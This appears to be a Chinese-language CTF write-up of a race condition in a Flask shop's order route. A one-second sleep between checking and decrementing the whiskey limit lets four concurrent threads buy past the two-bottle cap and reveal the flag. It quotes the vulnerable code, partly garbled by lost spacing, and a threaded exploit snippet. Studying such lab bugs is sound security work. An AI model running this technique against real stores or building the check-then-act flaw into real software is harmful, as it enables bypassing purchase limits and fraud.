@app.route('/order', methods=['GET','POST']) deforder(): if request.method != 'POST': return redirect("/") sess_id = session.get('session_id') whiskey_limit = session_data[sess_id].get('whiskey_limit') time.sleep(1) order = request.json order['quantity'] = int(order['quantity']) if order['quantity']<1: return"Order fail - quantity must be greater than zero" if order['item'] notin ["whiskey", "candles", "tea"]: return"Order fail - invalid item, we dont stock that!" if order['item'] == 'whiskey': if order['quantity'] <= whiskey_limit: session_data[sess_id]['whiskey_limit'] = whiskey_limit - order['quantity'] else: return"Order fail - over whiskey limit" session_data[sess_id]['orders'].append((order['item'], order['quantity'])) returnf"Order placed successfully: {order['item']} x {order['quantity']}"
该函数主要就是从session中获取到威士忌还能买的数量后再进行购买
代码中设定了顶多只能买两瓶
但是从下面代码中国我们可以得知要想获取到flag,那么威士忌购买数量必须要大于两瓶才可以
1 2 3 4 5 6 7 8 9 10 11 12 13
@app.route('/order-list') deforderlist(): flagval = "No flag yet, not enough drink ordered" sess_id = session.get('session_id') orders = session_data[sess_id]['orders'] drink_count = 0 for order in orders: item,quantity = order if item == 'whiskey': drink_count+=quantity if drink_count > 2: flagval = flag return render_template('orderlist.html', orders=orders, whiskey_limit=session_data[sess_id]['whiskey_limit'], flag=flagval)
# 创建并启动多个线程发送订单 threads = [] for _ inrange(4): t = Thread(target=send_order) t.start() threads.append(t)
# 等待所有线程完成 for t in threads: t.join()
# 获取订单列表并检查 Flag response = requests.get(f"{host}/order-list", headers={'Cookie': cookie}) if"Flag"in response.text: print("Found Flag in response:") print(response.text) else: print("No Flag found in response")